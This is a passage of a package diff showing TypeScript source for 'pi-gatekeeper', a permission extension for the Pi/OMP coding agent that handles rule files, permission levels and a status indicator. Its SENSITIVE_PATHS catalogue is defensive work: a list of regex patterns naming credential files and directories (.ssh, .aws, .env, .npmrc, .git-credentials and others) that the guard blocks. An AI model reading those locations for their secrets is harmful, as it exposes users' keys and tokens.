@wernerbisschoff/pi-gatekeeper 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,2715 @@
1
+ /**
2
+ * Pi/OMP extension entry point — Phase 3 of the Foundation shard.
3
+ *
4
+ * Implements the persistence lifecycle helpers (`getRulesPath`,
5
+ * `loadDefaultRules`, `bootstrapRules`, `loadRules`) called by the
6
+ * `session_start` wiring and the `/perm` slash command in later tasks.
7
+ * The full entry-point shell (slash command, CLI flag, status wiring,
8
+ * `cycleMode`/`setMode`/`showAllowlist`) arrives in TSK-001-08.
9
+ *
10
+ * Source of truth:
11
+ * - tasks.md TSK-001-03 (bootstrap / lifecycle loader)
12
+ * - data-model.md:177-228 (PermissionLevel / LevelRules / PermissionRules shapes)
13
+ * - constitution.md §1.1 (single-module extension boundary)
14
+ * - constitution.md §1.2 (flat-file persistence under ~/.pi/agent/)
15
+ * - constitution.md §1.4 (deny-by-default safety floor)
16
+ * - plan.md Phase 3 (rules path + atomic bootstrap implementation strategy)
17
+ */
18
+ import { exec } from "node:child_process";
19
+ import { existsSync, mkdirSync, readFileSync, renameSync, writeFileSync } from "node:fs";
20
+ import os from "node:os";
21
+ import { dirname, join, resolve } from "node:path";
22
+ import { fileURLToPath } from "node:url";
23
+ import { promisify } from "node:util";
24
+ import { Type } from "@sinclair/typebox";
25
+ const execAsync = promisify(exec);
26
+ /**
27
+ * Stable label catalogue — single source of truth for the AC-007-XX reason strings.
28
+ * A future rename propagates from this constant to every catalog entry below and the
29
+ * corresponding `ctx.ui.notify` reason in `sensitivePathToolCallHandler` (Phase 2). The
30
+ * values are pinned by the `isSensitivePath — pattern catalog` describe in
31
+ * `test/sensitive-path.test.ts`.
32
+ */
33
+ const LABELS = {
34
+ ENV: "Environment file",
35
+ SSH: "SSH directory",
36
+ AWS: "AWS directory",
37
+ GNUPG: "GnuPG directory",
38
+ KUBE: "Kubernetes directory",
39
+ CRYPTO: "Crypto material",
40
+ CREDS: "Credentials file",
41
+ NPM: "npm config",
42
+ PYPI: "PyPI config",
43
+ GIT_CREDS: "Git credentials",
44
+ DOCKER: "Docker config",
45
+ GH_HOSTS: "GitHub hosts config",
46
+ };
47
+ /**
48
+ * Compile-time catalog of sensitive path patterns. Iteration order matters:
49
+ * {@link isSensitivePath} uses an early-return `for...of` so the FIRST matching entry
50
+ * wins. The catalog is intentionally permissive — a `.ssh/` literal anywhere in the
51
+ * path matches so `~/.ssh/`, `/Users/<who>/.ssh/`, `/home/<who>/.ssh/`, and even
52
+ * `/srv/.ssh/` are all flagged (the latter is permissive by design — see
53
+ * `tasks.md TSK-006-01 "Edge Cases"`). Reorder the array only with a corresponding
54
+ * update to the `first-match-wins` test in `test/sensitive-path.test.ts`.
55
+ */
56
+ export const SENSITIVE_PATHS = [
57
+ // Environment file — matches `.env`, `.env.production`, `.env.local`, etc.
58
+ // MUST be entry #0 so the first-match-wins test (`~/.ssh/.env` → "Environment file")
59
+ // remains deterministic.
60
+ { pattern: /\.env(\.[^/]+)?$/, label: LABELS.ENV },
61
+ // SSH directory — covers `~/.ssh/`, `/Users/<who>/.ssh/`, `/home/<who>/.ssh/`
62
+ // (permissive: any path containing the `.ssh/` literal segment is flagged).
63
+ { pattern: /\.ssh\//, label: LABELS.SSH },
64
+ // AWS credentials directory
65
+ { pattern: /\.aws\//, label: LABELS.AWS },
66
+ // GnuPG keyring directory
67
+ { pattern: /\.gnupg\//, label: LABELS.GNUPG },
68
+ // Kubernetes config directory
69
+ { pattern: /\.kube\//, label: LABELS.KUBE },
70
+ // Crypto material — PEM keys, SSH private keys, X.509 certs (case-insensitive to
71
+ // tolerate the common uppercase `.PEM` convention).
72
+ { pattern: /\.(pem|key|crt)$/i, label: LABELS.CRYPTO },
73
+ // .netrc — legacy FTP/HTTP credential file
74
+ { pattern: /(?:^|\/)\.?netrc$/, label: LABELS.CREDS },
75
+ // npm config — registry auth tokens
76
+ { pattern: /(?:^|\/)\.?npmrc$/, label: LABELS.NPM },
77
+ // PyPI config — upload credentials
78
+ { pattern: /(?:^|\/)\.?pypirc$/, label: LABELS.PYPI },
79
+ // Git credential store — plaintext credentials
80
+ { pattern: /\.git-credentials$/, label: LABELS.GIT_CREDS },
81
+ // Docker registry auth
82
+ { pattern: /\.docker\/config\.json$/, label: LABELS.DOCKER },
83
+ // GitHub CLI host tokens
84
+ { pattern: /\.config\/gh\/hosts\.yml$/, label: LABELS.GH_HOSTS },
85
+ ];
86
+ /**
87
+ * Skill-script short-circuit pattern — matches a `.sh` file directly under `/skills/`
88
+ * (single-segment form). `/skills/sub/dir.sh` (nested) does NOT match because
89
+ * `[^/]+` excludes `/`. Per US-021, the sensitive-path `tool_call` handler (Phase 2)
90
+ * short-circuits on this pattern BEFORE the {@link SENSITIVE_PATHS} scan so a skill
91
+ * script whose filename would otherwise match (e.g. `/skills/.env-helper.sh`) still
92
+ * passes through.
93
+ */
94
+ export const SKILL_SCRIPT_PATTERN = /^\/skills\/[^/]+\.sh$/;
95
+ /**
96
+ * Classify `path` against the {@link SENSITIVE_PATHS} catalog. Returns the FIRST
97
+ * matching entry's `label` (first-match-wins via the catalog's documented iteration
98
+ * order). Performance is O(1) per call: the regexes are compiled once at module
99
+ * load, so `.test(path)` is the only per-call cost (O(n) where n is `path.length`).
100
+ * Returns `{ match: false, label: "" }` when no pattern matches — the empty string
101
+ * is the sentinel "no-match" label and is excluded from the {@link SensitivePathLabel}
102
+ * union, so consumers can branch on `match` instead of inspecting the label.
103
+ */
104
+ export function isSensitivePath(path) {
105
+ for (const { pattern, label } of SENSITIVE_PATHS) {
106
+ if (pattern.test(path)) {
107
+ return { match: true, label };
108
+ }
109
+ }
110
+ return { match: false, label: "" };
111
+ }
112
+ /** ─── Internal helpers ─── */
113
+ /**
114
+ * Absolute path to the bundled `default-rules.json` asset. Resolved relative
115
+ * to this module's source location so the same code works under:
116
+ * - vitest loading `src/gatekeeper.ts` directly → `HERE = src/`
117
+ * - jiti loading `src/gatekeeper.ts` at runtime → `HERE = src/`
118
+ * - compiled `dist/gatekeeper.js` (after build) → `HERE = dist/`
119
+ * The `npm run build` script copies `src/default-rules.json` to
120
+ * `dist/default-rules.json` so the compiled `gatekeeper.js` resolves the
121
+ * asset next to itself. The `package.json` `files` whitelist ships the
122
+ * entire `dist/` directory tree to npm so the asset and compiled JS land in
123
+ * the published tarball together (satisfies FR-012-02).
124
+ */
125
+ const HERE = dirname(fileURLToPath(import.meta.url));
126
+ const DEFAULT_RULES_PATH = resolve(HERE, "default-rules.json");
127
+ /**
128
+ * Strict-equal allowlist for the `--perm-mode` CLI flag. Co-located here so future shards that
129
+ * accept the same set (TSK-001-06 `setMode`, TSK-001-07 slash-command branching) reuse the single
130
+ * source of truth instead of redeclaring `["low", "medium", "high"]` literals across the module.
131
+ * Frozen `as const` so the array is typed as `readonly ["low", "medium", "high"]` and resists push/shift.
132
+ */
133
+ const VALID_MODES = ["low", "medium", "high"];
134
+ /**
135
+ * Structural guard for a parsed JSON value. Rejects `null`, primitives,
136
+ * arrays, and objects missing the required top-level fields — including the
137
+ * `null` literal case (`JSON.parse("null") === null` is a valid parse but
138
+ * not a `PermissionRules` shape).
139
+ */
140
+ function isPermissionRules(value) {
141
+ if (value === null || typeof value !== "object" || Array.isArray(value)) {
142
+ return false;
143
+ }
144
+ const obj = value;
145
+ if (obj.version !== 1 && obj.version !== 2)
146
+ return false; // Schema version is locked at v1/v2; v3+ will require explicit migration support.
147
+ if (obj.currentMode !== null && typeof obj.currentMode !== "string")
148
+ return false;
149
+ if (typeof obj.rules !== "object" || obj.rules === null || Array.isArray(obj.rules)) {
150
+ return false;
151
+ }
152
+ const rules = obj.rules;
153
+ for (const level of VALID_MODES) {
154
+ if (!isLevelRules(rules[level]))
155
+ return false;
156
+ }
157
+ return true;
158
+ }
159
+ function isLevelRules(value) {
160
+ if (value === null || typeof value !== "object" || Array.isArray(value)) {
161
+ return false;
162
+ }
163
+ const obj = value;
164
+ if (!Array.isArray(obj.deny) || !Array.isArray(obj.allow) || !Array.isArray(obj.ask)) {
165
+ return false;
166
+ }
167
+ for (const arr of [obj.deny, obj.allow, obj.ask]) {
168
+ for (const entry of arr) {
169
+ if (typeof entry !== "string")
170
+ return false;
171
+ }
172
+ }
173
+ return true;
174
+ }
175
+ /**
176
+ * Strict-equal guard for `PermissionLevel`. Backed by the `VALID_MODES` tuple so a new level (or a
177
+ * rename of an existing one) propagates to every call site — flag override, future `setMode`, and
178
+ * slash-command branching — without re-declaring the literal list.
179
+ */
180
+ function isPermissionLevel(value) {
181
+ return typeof value === "string" && VALID_MODES.includes(value);
182
+ }
183
+ /** ─── Subcommand catalogue for the `/perm` slash command (TSK-001-07) ─── */
184
+ /**
185
+ * Subcommand literals for the `/perm` slash command. Co-located so the handler's branching
186
+ * table and the corresponding tests can grep one symbol instead of three. Each entry is the set of
187
+ * trimmed/lowercased arg values that route to the named behaviour:
188
+ * - CYCLE — bare invocation (`""`) or explicit `"cycle"` alias → {@link cycleMode}
189
+ * - SET — explicit `"low" | "medium" | "high"` literal → {@link setMode}
190
+ * - DISCOVERY — `"allowlist"` (FR-013 name — actually renders the full deny/allow/ask per-level
191
+ * tuple) or the `"list"` alias → {@link showAllowlist}
192
+ *
193
+ * `as const satisfies Readonly<...>` locks each entry to `readonly string[]` so the handler's
194
+ * `===` comparisons stay typed and the array resists push/shift. A future rename or new level
195
+ * flows from a single edit here to every branch and the corresponding test greps.
196
+ */
197
+ const PERM_SUBCOMMANDS = {
198
+ CYCLE: ["", "cycle"],
199
+ SET: VALID_MODES,
200
+ DISCOVERY: ["allowlist", "list"],
201
+ };
202
+ /**
203
+ * Atomic write of `payload` to `targetPath`. Writes to `<target>.tmp` first
204
+ * then `renameSync` swaps it into place — guards against partial writes
205
+ * corrupting the rules file (per `design.md:138` RSK-009 mitigation).
206
+ *
207
+ * Throws on any failure. Best-effort callers wrap this primitive in try/catch
208
+ * (see {@link saveRules}); non-best-effort callers (e.g. {@link bootstrapRules})
209
+ * let the throw propagate so they can surface ENOENT-vs-corruption distinctly.
210
+ */
211
+ function atomicWriteJson(targetPath, payload) {
212
+ const tmpPath = `${targetPath}.tmp`;
213
+ writeFileSync(tmpPath, JSON.stringify(payload, null, 2), "utf8");
214
+ renameSync(tmpPath, targetPath);
215
+ }
216
+ /**
217
+ * Prefix emitted on a best-effort persistence failure. Centralized so the
218
+ * notification text and `notify` level stay in lock-step across every catch
219
+ * branch in {@link saveRules}, matching the `MALFORMED_RULES_MESSAGE` pattern
220
+ * used by `loadRules`.
221
+ */
222
+ const SAVE_RULES_FAILURE_PREFIX = "Failed to persist perm-rules.json:";
223
+ /**
224
+ * Emit a best-effort persistence failure notification. No-op when `ctx` is
225
+ * undefined — callers that route through `saveRules` without a ctx (e.g. the
226
+ * mode-cycle path) rely on the silent-swallow branch to keep the call chain
227
+ * from crashing on a transient persistence failure.
228
+ */
229
+ function notifySaveFailure(err, ctx) {
230
+ if (!ctx)
231
+ return;
232
+ const detail = err instanceof Error ? err.message : String(err);
233
+ ctx.ui.notify(`${SAVE_RULES_FAILURE_PREFIX} ${detail}`, "warning");
234
+ }
235
+ /**
236
+ * Prefix emitted on a sensitive-path block. Centralised so the
237
+ * notification text and `notify` level stay in lock-step across the
238
+ * blocking site in {@link sensitivePathToolCallHandler} and the
239
+ * corresponding `describe("...AC-007-01...")` test assertions.
240
+ *
241
+ * Phrasing: "<prefix> <path>" — the test asserts
242
+ * `expect(message).toContain(path)` so a future rename MUST keep the
243
+ * trailing path component verbatim (per `tasks.md TSK-006-02 Edge Cases`
244
+ * — "user must be informed of the block reason").
245
+ */
246
+ const SENSITIVE_PATH_BLOCK_PREFIX = "Blocked access to sensitive path:";
247
+ /**
248
+ * Emit a best-effort sensitive-path block notification. Gated on
249
+ * `ctx.hasUI` so headless mode (Constitution §1.6 — `pi --no-ui` /
250
+ * OMP headless) does NOT crash on a missing UI context. Matches the
251
+ * `notifySaveFailure` pattern above — every `ctx.ui.notify` site that
252
+ * could plausibly fire under headless conditions routes through a
253
+ * `hasUI`-gated helper so the headless-safety contract is centralised
254
+ * and not duplicated across call sites.
255
+ */
256
+ function notifySensitivePathBlock(path, ctx) {
257
+ if (!ctx.hasUI)
258
+ return;
259
+ ctx.ui.notify(`${SENSITIVE_PATH_BLOCK_PREFIX} ${path}`, "warning");
260
+ }
261
+ /**
262
+ * Ensure the parent directory of `filePath` exists, creating it recursively
263
+ * with restricted permissions (0o700). Idempotent — a no-op when the directory
264
+ * already exists. Centralized to replace identical `mkdirSync(dirname(...))`
265
+ * patterns in {@link saveRules} and {@link bootstrapRulesAt}.
266
+ */
267
+ function ensureParentDir(filePath) {
268
+ mkdirSync(dirname(filePath), { recursive: true, mode: 0o700 });
269
+ }
270
+ /**
271
+ * Public persistence write surface — the single boundary that owns atomic
272
+ * rename + best-effort error handling for `perm-rules.json`.
273
+ *
274
+ * Contract:
275
+ * - Creates the parent directory recursively with `mode: 0o700` so the
276
+ * Sensitive Path Guard's directory-permission policy (matches
277
+ * {@link getRulesPath}) is honoured on first write into a fresh
278
+ * `~/.pi/agent/` tree. `mkdirSync({ recursive: true })` is a no-op when
279
+ * the directory already exists, so re-writes never loosen or tighten an
280
+ * existing directory's permissions.
281
+ * - Writes the payload to `<filePath>.tmp` then `renameSync`s it into
282
+ * place — the atomic-rename pattern prevents partial writes from
283
+ * corrupting an otherwise-valid rules file (RSK-009 mitigation).
284
+ * - Best-effort error handling: any failure (EACCES, EROFS, ENOSPC,
285
+ * ENOENT for an unwritable parent, etc.) is caught. When `ctx` is
286
+ * provided, the failure surfaces through `ctx.ui.notify` at `"warning"`
287
+ * level. When `ctx` is undefined the failure is silently swallowed —
288
+ * the caller's in-memory mutation already landed and the next session
289
+ * resumes from the last successfully persisted state.
290
+ *
291
+ * Flow references: FLOW-05 (level cycles and persists), FLOW-08 (Allow
292
+ * Always writes the persistent per-level JSON).
293
+ */
294
+ export function saveRules(filePath, payload, ctx) {
295
+ try {
296
+ ensureParentDir(filePath);
297
+ atomicWriteJson(filePath, payload);
298
+ }
299
+ catch (err) {
300
+ notifySaveFailure(err, ctx);
301
+ }
302
+ }
303
+ /** ─── Persistence lifecycle helpers (under test) ─── */
304
+ /**
305
+ * Resolve the absolute path of the persisted rules file.
306
+ *
307
+ * Creates `~/.pi/agent/` with `mode: 0o700` ONLY when the directory does not
308
+ * already exist — `mkdirSync({ recursive: true })` skips creation (and
309
+ * permission tightening) for an existing directory. This means a directory
310
+ * previously created by another tool or installer with broader permissions
311
+ * is left untouched and cannot be retroactively narrowed from this helper.
312
+ *
313
+ * The 0o700 target honors the process umask (so the effective mode may be
314
+ * narrower than 0o700 on systems with a tighter umask, but never broader).
315
+ * The intent is to match the Sensitive Path Guard's directory-permission
316
+ * policy from ISS-006 so the directory is never world-readable when this
317
+ * extension creates it from a clean slate.
318
+ */
319
+ export function getRulesPath() {
320
+ const agentDir = join(os.homedir(), ".pi", "agent");
321
+ mkdirSync(agentDir, { recursive: true, mode: 0o700 });
322
+ return join(agentDir, "perm-rules.json");
323
+ }
324
+ /**
325
+ * Load the bundled `src/default-rules.json` payload. Read-only asset shipped
326
+ * inside the npm tarball. Throws if the asset is missing — fail loud per
327
+ * Constitution §1.4 rather than silently substituting a build-time string.
328
+ */
329
+ export function loadDefaultRules() {
330
+ const raw = readFileSync(DEFAULT_RULES_PATH, "utf8");
331
+ const parsed = JSON.parse(raw);
332
+ if (!isPermissionRules(parsed)) {
333
+ throw new Error(`Bundled default-rules.json at ${DEFAULT_RULES_PATH} is not a valid PermissionRules payload`);
334
+ }
335
+ return parsed;
336
+ }
337
+ /**
338
+ * Ensure `perm-rules.json` exists at `targetPath`; return its parsed contents.
339
+ *
340
+ * First-run path: atomically copy the bundled defaults into place (creating the parent directory
341
+ * recursively if needed). Subsequent calls: re-read whatever is on disk (idempotent — never
342
+ * overwrites a manually-edited file). The re-read path validates with the same {@link isPermissionRules}
343
+ * guard {@link loadRules} uses so a manually edited file with structurally invalid JSON (null literal,
344
+ * missing fields, stray keys) cannot escape the deny-by-default contract. A re-read that fails the shape
345
+ * check is left on disk for the developer to inspect; this helper throws so the caller (e.g. test or
346
+ * future shard) cannot silently accept a malformed payload.
347
+ *
348
+ * `targetPath` is the absolute path the bootstrap should honour — may be `getRulesPath()` (default) or an
349
+ * arbitrary path supplied by a persistence test (the testability seam TSK-004-02 adds to `loadRules`).
350
+ */
351
+ function bootstrapRulesAt(targetPath) {
352
+ const defaults = loadDefaultRules();
353
+ if (existsSync(targetPath)) {
354
+ const raw = readFileSync(targetPath, "utf8");
355
+ const parsed = JSON.parse(raw);
356
+ if (!isPermissionRules(parsed)) {
357
+ throw new Error(`Existing perm-rules.json at ${targetPath} is not a valid PermissionRules payload`);
358
+ }
359
+ // Schema upgrade: if the on-disk version is older than the bundled version,
360
+ // back up the old file to `<path>.v<oldVersion>.bak` and re-bootstrap with
361
+ // the new defaults. This ensures improvements like expanded `low.allow`
362
+ // entries automatically take effect without manual deletion.
363
+ if (parsed.version < defaults.version) {
364
+ const backupPath = `${targetPath}.v${parsed.version}.bak`;
365
+ renameSync(targetPath, backupPath);
366
+ ensureParentDir(targetPath);
367
+ atomicWriteJson(targetPath, defaults);
368
+ return defaults;
369
+ }
370
+ return parsed;
371
+ }
372
+ // First run — create the parent directory recursively (TSK-004-02 lets callers pass an arbitrary
373
+ // filePath via `loadRules`, so we MUST NOT rely on `getRulesPath()` to have created the parent for us),
374
+ // then atomic copy of bundled defaults.
375
+ ensureParentDir(targetPath);
376
+ atomicWriteJson(targetPath, defaults);
377
+ return defaults;
378
+ }
379
+ /**
380
+ * Public bootstrap helper — the pre-TSK-004-02 single-path entry point that always boots at `getRulesPath()`.
381
+ * Retained as a thin wrapper over {@link bootstrapRulesAt} so foundation tests (which do not exercise the
382
+ * extended `filePath` parameter) keep their call surface, and so future ISS-001 callers can request a
383
+ * bootstrap against the canonical home without re-deriving the path.
384
+ */
385
+ export function bootstrapRules() {
386
+ return bootstrapRulesAt(getRulesPath());
387
+ }
388
+ /** User-visible warning emitted on EVERY malformed-perm-rules path. Centralized so the message text
389
+ * and `notify` level stay in lock-step across the three failure branches in `loadRules` (`readFileSync`
390
+ * non-ENOENT error, `JSON.parse` SyntaxError, shape mismatch). The phrasing "falling back to last valid
391
+ * in-memory snapshot" is generic enough to cover BOTH branches of {@link handleMalformedFallback}: the
392
+ * cold-cache session-start path returns the bundled defaults (which IS the last valid in-memory snapshot
393
+ * before any per-ctx cache exists), and the live-reload path returns the per-ctx cached payload.
394
+ *
395
+ * Required by AC-011-02 ("Error is logged") and US-013 ATDD ("error is logged and the extension falls
396
+ * back to the last valid rules in memory") — a transient malformed edit MUST surface to the developer
397
+ * via `ctx.ui.notify` so they know the persisted file is corrupt and can recover it.
398
+ */
399
+ const MALFORMED_RULES_MESSAGE = "malformed perm-rules.json during reload; falling back to last valid in-memory snapshot";
400
+ /**
401
+ * Two-branch malformed-file fallback (FR-011 / AC-011-02). Centralized so each call site in
402
+ * {@link loadRules} reads as a single declarative step:
403
+ * - Always notify FIRST at `"warning"` level — required by AC-011-02 ("Error is logged"), US-013 ATDD
404
+ * ("error is logged"), and the TSK-004-02 hard-inclusion list ("log error"). Both cache-hit and
405
+ * cache-miss branches MUST emit the warning; a silent cache-hit recovery would mask a transient
406
+ * malformed edit from the developer.
407
+ * - Return the per-ctx `lastValidRulesByCtx` cached payload if hot (live-reload path), otherwise
408
+ * fall back to the bundled defaults (session-start / first-ever for this ctx). The per-ctx cache
409
+ * preserves FLOW-10 cascade integrity: a developer's curated per-level deny/allow/ask appends
410
+ * survive a transient malformed edit.
411
+ * - Mirror the resolved fallback into the module-level `rules` cache so `showAllowlist` /
412
+ * `applyModeChange` see the in-memory fallback the same way they would a successful read.
413
+ * The per-ctx `lastValidRulesByCtx` is intentionally NOT updated here — only validated payloads
414
+ * earn a cache slot; a cold-defaults fallback must not shadow a later successful read.
415
+ */
416
+ function handleMalformedFallback(ctx) {
417
+ ctx.ui.notify(MALFORMED_RULES_MESSAGE, "warning");
418
+ const fallback = lastValidRulesByCtx.get(ctx) ?? loadDefaultRules();
419
+ rules = fallback;
420
+ return fallback;
421
+ }
422
+ /**
423
+ * Per-ctx cache of the LAST VALID in-memory `PermissionRules` payload. Pinned by TSK-004-02 (FR-011,
424
+ * AC-011-02) so live reload preserves the developer's curated per-level deny/allow/ask appends across
425
+ * a transient malformed edit.
426
+ *
427
+ * The cache is keyed by `ExtensionContext` so it naturally isolates across:
428
+ * - **Multiple Pi/OMP sessions** that share a single Node process (each session has its own ctx).
429
+ * - **Multiple test cases** that share a single Node process (each `createFakePi()` produces a fresh ctx).
430
+ * This avoids state pollution between foundation-shard tests (which assume a fresh "session-start" on every
431
+ * call) and persistence-shard tests (which need a hot cache for the AC-011-02 fallback assertion).
432
+ *
433
+ * `WeakMap` is used so the cache entry is garbage-collected automatically when the ctx goes out of scope —
434
+ * no manual reset is needed.
435
+ */
436
+ const lastValidRulesByCtx = new WeakMap();
437
+ /**
438
+ * Update BOTH the module-level `rules` write-through cache and the per-ctx `lastValidRulesByCtx` reload
439
+ * cache. Centralised so the dual-assignment pattern that now appears in three places (success path,
440
+ * bootstrap path, future paths) cannot drift out of sync — a drift here would let a stale payload from
441
+ * `rules` shadow the cache the malformed-fallback branch consults.
442
+ */
443
+ function setLoadedRules(parsed, ctx) {
444
+ rules = parsed;
445
+ lastValidRulesByCtx.set(ctx, parsed);
446
+ }
447
+ /**
448
+ * Load rules from disk; surface malformed state via `ctx.ui.notify` and fall back to the bundled
449
+ * defaults OR the per-ctx last-valid cache (whichever is available), leaving the on-disk file
450
+ * untouched so the developer can inspect or hand-correct it.
451
+ *
452
+ * Contract (extended by TSK-004-02 — FR-011 / AC-011-02):
453
+ * - `filePath` is OPTIONAL: when omitted, the loader reads from `getRulesPath()` (preserves pre-TSK-004-02
454
+ * callers like `sessionStartHandler`). When provided, the loader reads from `filePath` and skips
455
+ * `getRulesPath()` entirely — persistence tests use this seam to drive the loader against an
456
+ * isolated `os.tmpdir()`-backed path without coupling to `os.homedir()`.
457
+ * - ENOENT (file missing at `targetPath`) → `bootstrapRulesAt(targetPath)` — atomically create the file
458
+ * with bundled defaults at the SAME path the caller asked for, populate the per-ctx cache with the
459
+ * bootstrapped payload, and return it. The bootstrap is silent (no notify).
460
+ * - `JSON.parse` throws (truncated payload, stray characters, etc.) → `handleMalformedFallback(ctx)` —
461
+ * notify at `"warning"` level, return the per-ctx cached payload if hot, otherwise bundled defaults.
462
+ * - Valid JSON but invalid shape (`null`, primitives, arrays, missing fields) → same fallback as the
463
+ * `JSON.parse` throw branch. Both branches share the same single-line `return handleMalformedFallback(ctx)`
464
+ * idiom so the read/parse/shape pipeline reads as a uniform success-or-fallback ladder.
465
+ * - Valid payload → populate BOTH `rules` and the per-ctx `lastValidRulesByCtx` cache, return parsed.
466
+ *
467
+ * On the malformed-file path the on-disk bytes are NEVER overwritten so the developer can inspect or
468
+ * hand-correct the file. The two-branch fallback (FR-011 / AC-011-02) preserves FLOW-10 cascade
469
+ * integrity: a developer's curated per-level deny/allow/ask appends survive a transient malformed edit.
470
+ */
471
+ export function loadRules(ctx, filePath) {
472
+ const targetPath = filePath ?? getRulesPath();
473
+ let raw;
474
+ try {
475
+ raw = readFileSync(targetPath, "utf8");
476
+ }
477
+ catch (err) {
478
+ // ENOENT → bootstrap a fresh file at `targetPath`. Any other read error → malformed-fallback in memory.
479
+ if (isErrnoException(err) && err.code === "ENOENT") {
480
+ const bootstrapped = bootstrapRulesAt(targetPath);
481
+ setLoadedRules(bootstrapped, ctx);
482
+ return bootstrapped;
483
+ }
484
+ return handleMalformedFallback(ctx);
485
+ }
486
+ let parsed;
487
+ try {
488
+ parsed = JSON.parse(raw);
489
+ }
490
+ catch {
491
+ // JSON.parse threw (truncated payload, stray characters, etc.) — same fallback as shape-mismatch.
492
+ return handleMalformedFallback(ctx);
493
+ }
494
+ if (!isPermissionRules(parsed)) {
495
+ // JSON parsed but is not a valid PermissionRules shape (catches `null`, primitives, arrays, missing fields).
496
+ return handleMalformedFallback(ctx);
497
+ }
498
+ setLoadedRules(parsed, ctx);
499
+ return parsed;
500
+ }
501
+ function isErrnoException(value) {
502
+ return (value instanceof Error &&
503
+ "code" in value &&
504
+ typeof value.code === "string");
505
+ }
506
+ /** ─── Status Indicator (TSK-001-04) ─── */
507
+ /**
508
+ * Module-level cache of the loaded `PermissionRules` payload. Populated by {@link loadRules} on
509
+ * every successful read (valid on-disk payload, freshly-bootstrapped defaults, or in-memory
510
+ * fallback when the file is malformed). Consumed by {@link showAllowlist} so the `/perm allowlist`
511
+ * discovery output reflects the same in-memory state that `cycleMode` / `setMode` mutate.
512
+ * {@link applyModeChange} also writes through this cache (mutating `currentMode` in place) when
513
+ * the cache is hot — keeping the in-memory payload consistent with the persisted file.
514
+ * TSK-001-08's `session_start` handler also reads this binding to mirror `currentMode` after a
515
+ * successful load.
516
+ *
517
+ * NOT exported as a binding (ESM live bindings are read-only from outside the module). Tests drive
518
+ * the cache indirectly through `loadRules` / `seedPersistedRules`; production code mutates it
519
+ * from inside the same module only.
520
+ */
521
+ let rules = null;
522
+ /**
523
+ * Module-level active permission level. TSK-001-08's `session_start` handler reads this on
524
+ * bootstrap (after `loadRules` populates `rules.currentMode`); the `/perm` cycle (TSK-001-06) and
525
+ * `--perm-mode` override (TSK-001-05) both mutate this in-memory value.
526
+ * NOT exported as a binding because ESM live bindings are read-only from outside the module — the
527
+ * test-only `setCurrentMode` helper below provides a writable surface for the foundation tests,
528
+ * and the production `cycleMode`/`setMode`/`applyFlagOverride` helpers (TSK-001-06, TSK-001-05)
529
+ * mutate the binding directly from inside the module.
530
+ */
531
+ let currentMode = "medium";
532
+ /**
533
+ * Read the active permission level. Stable surface for downstream shards (ISS-003 classifier,
534
+ * ISS-005 prompt system) that need to consult the level without going through `updateStatus`.
535
+ */
536
+ export function getCurrentMode() {
537
+ return currentMode;
538
+ }
539
+ /**
540
+ * Write the active permission level. Used by the foundation tests to drive `updateStatus`
541
+ * with different levels without going through the full `loadRules` bootstrap path. In
542
+ * production, `cycleMode` / `setMode` / `applyFlagOverride` (TSK-001-06, TSK-001-05) mutate
543
+ * the binding directly from inside the module.
544
+ *
545
+ * Also clears the ephemeral and session allow sets so test isolation (each `it(...)` starts with
546
+ * a fresh module-level state) matches the production lifecycle: a mode change is a fresh permission
547
+ * context, so any "Allow Once" or "Allow This Session" unlocks from the prior level are dropped.
548
+ * The single-source-of-truth clear path is `sessionStartHandler` for production; `setCurrentMode`
549
+ * mirrors it for the test-only mode-switch surface so Vitest's per-file isolation is honoured
550
+ * within a single file.
551
+ */
552
+ export function setCurrentMode(value) {
553
+ currentMode = value;
554
+ ephemeralAllowList = new Set();
555
+ sessionAllowList = new Set();
556
+ }
557
+ /**
558
+ * Reserved TUI footer status key for the permission level indicator. Ownership is contractually
559
+ * pinned by `architecture.md:157` — no other extension may write to this key, otherwise the level
560
+ * indicator on the TUI footer could be shadowed by a colliding third-party status widget.
561
+ */
562
+ export const PERMISSION_STATUS_KEY = "perm";
563
+ /**
564
+ * TUI footer labels keyed by PermissionLevel. Specific emoji + label pairs are
565
+ * documented in AC-010-01 / AC-010-02
566
+ * (`specs/001-pi-gatekeeper/issues/001-foundation-packaging.md:33`):
567
+ * - `low` → `🟢 LOW` (green circle = restricted/safe)
568
+ * - `medium` → `🟡 MEDIUM` (yellow circle = balanced)
569
+ * - `high` → `🟠 HIGH` (orange circle = permissive/warning)
570
+ * The status key (`PERMISSION_STATUS_KEY`) is reserved by `architecture.md:157` — no other extension
571
+ * may write to it (otherwise the level indicator could be shadowed on the TUI footer).
572
+ */
573
+ export const MODE_LABELS = {
574
+ low: "🟢 LOW",
575
+ medium: "🟡 MEDIUM",
576
+ high: "🟠 HIGH",
577
+ };
578
+ /**
579
+ * Render the active permission level into the TUI footer via `ctx.ui.setStatus(...)` using the
580
+ * reserved `PERMISSION_STATUS_KEY`. The custom footer extension (`footer.ts`) reads the
581
+ * `~/.pi/agent/perm-mode` file directly and overlays the circle indicator (🟢/🟡/🟠) in the
582
+ * bottom powerline bar — so the `setStatus` call here serves as the fallback for built-in
583
+ * footer mode and as a data source for any extension that reads status keys directly.
584
+ *
585
+ * Synchronous — FLOW-05's `level_change_latency_ms` metric (<=100 ms) is satisfied because
586
+ * the call is a single in-process mutation. The full session_start wiring that invokes this
587
+ * helper (`loadRules -> set currentMode -> updateStatus`) lands in TSK-001-08; here we only
588
+ * define the primitive so it is independently testable.
589
+ */
590
+ export function updateStatus(ctx) {
591
+ ctx.ui.setStatus(PERMISSION_STATUS_KEY, MODE_LABELS[currentMode]);
592
+ // Broadcast the current mode on the shared extension event bus so the footer
593
+ // extension (which may replace the built-in footer) can update its indicator
594
+ // without polling the filesystem. Guarded with typeof checks since test mocks
595
+ // may not expose `piRef` or `events`.
596
+ if (piRef?.events && typeof piRef.events.emit === "function") {
597
+ piRef.events.emit("perm:changed", { mode: currentMode });
598
+ }
599
+ }
600
+ /** ─── CLI Flag Override (TSK-001-05) ─── */
601
+ /**
602
+ * Canonical name of the `--perm-mode` CLI flag. Exported so TSK-001-08's `pi.registerFlag(...)`
603
+ * call uses the same identifier that `applyFlagOverride` reads via `pi.getFlag(...)` — prevents
604
+ * drift if the flag is ever renamed. Mirrors the `PERMISSION_STATUS_KEY` pattern from TSK-001-04.
605
+ */
606
+ export const PERM_MODE_FLAG_NAME = "perm-mode";
607
+ /**
608
